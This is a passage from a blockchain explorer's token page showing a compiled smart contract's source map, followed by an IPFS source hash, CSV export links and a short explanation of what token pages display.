7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:474::-;5149:6;5157;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5459:2;5485:53;5530:7;5521:6;5510:9;5506:22;5485:53;:::i;:::-;5475:63;;5430:118;5081:474;;;;;:::o;5561:180::-;5609:77;5606:1;5599:88;5706:4;5703:1;5696:15;5730:4;5727:1;5720:15;5747:320;5791:6;5828:1;5822:4;5818:12;5808:22;;5875:1;5869:4;5865:12;5896:18;5886:81;;5952:4;5944:6;5940:17;5930:27;;5886:81;6014:2;6006:6;6003:14;5983:18;5980:38;5977:84;;6033:18;;:::i;:::-;5977:84;5798:269;5747:320;;;:::o;6073:180::-;6121:77;6118:1;6111:88;6218:4;6215:1;6208:15;6242:4;6239:1;6232:15;6259:194;6299:4;6319:20;6337:1;6319:20;:::i;:::-;6314:25;;6353:20;6371:1;6353:20;:::i;:::-;6348:25;;6397:1;6394;6390:9;6382:17;;6421:1;6415:4;6412:11;6409:37;;;6426:18;;:::i;:::-;6409:37;6259:194;;;;:::o;6459:191::-;6499:3;6518:20;6536:1;6518:20;:::i;:::-;6513:25;;6552:20;6570:1;6552:20;:::i;:::-;6547:25;;6595:1;6592;6588:9;6581:16;;6616:3;6613:1;6610:10;6607:36;;;6623:18;;:::i;:::-;6607:36;6459:191;;;;:::o;6656:410::-;6696:7;6719:20;6737:1;6719:20;:::i;:::-;6714:25;;6753:20;6771:1;6753:20;:::i;:::-;6748:25;;6808:1;6805;6801:9;6830:30;6848:11;6830:30;:::i;:::-;6819:41;;7009:1;7000:7;6996:15;6993:1;6990:22;6970:1;6963:9;6943:83;6920:139;;7039:18;;:::i;:::-;6920:139;6704:362;6656:410;;;;:::o;7072:180::-;7120:77;7117:1;7110:88;7217:4;7214:1;7207:15;7241:4;7238:1;7231:15;7258:185;7298:1;7315:20;7333:1;7315:20;:::i;:::-;7310:25;;7349:20;7367:1;7349:20;:::i;:::-;7344:25;;7388:1;7378:35;;7393:18;;:::i;:::-;7378:35;7435:1;7432;7428:9;7423:14;;7258:185;;;;:::o

Swarm Source

ipfs://0cbfb17d76c58bf641cac70261b9f96b035c51752498b2b96529f8f389fae221
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.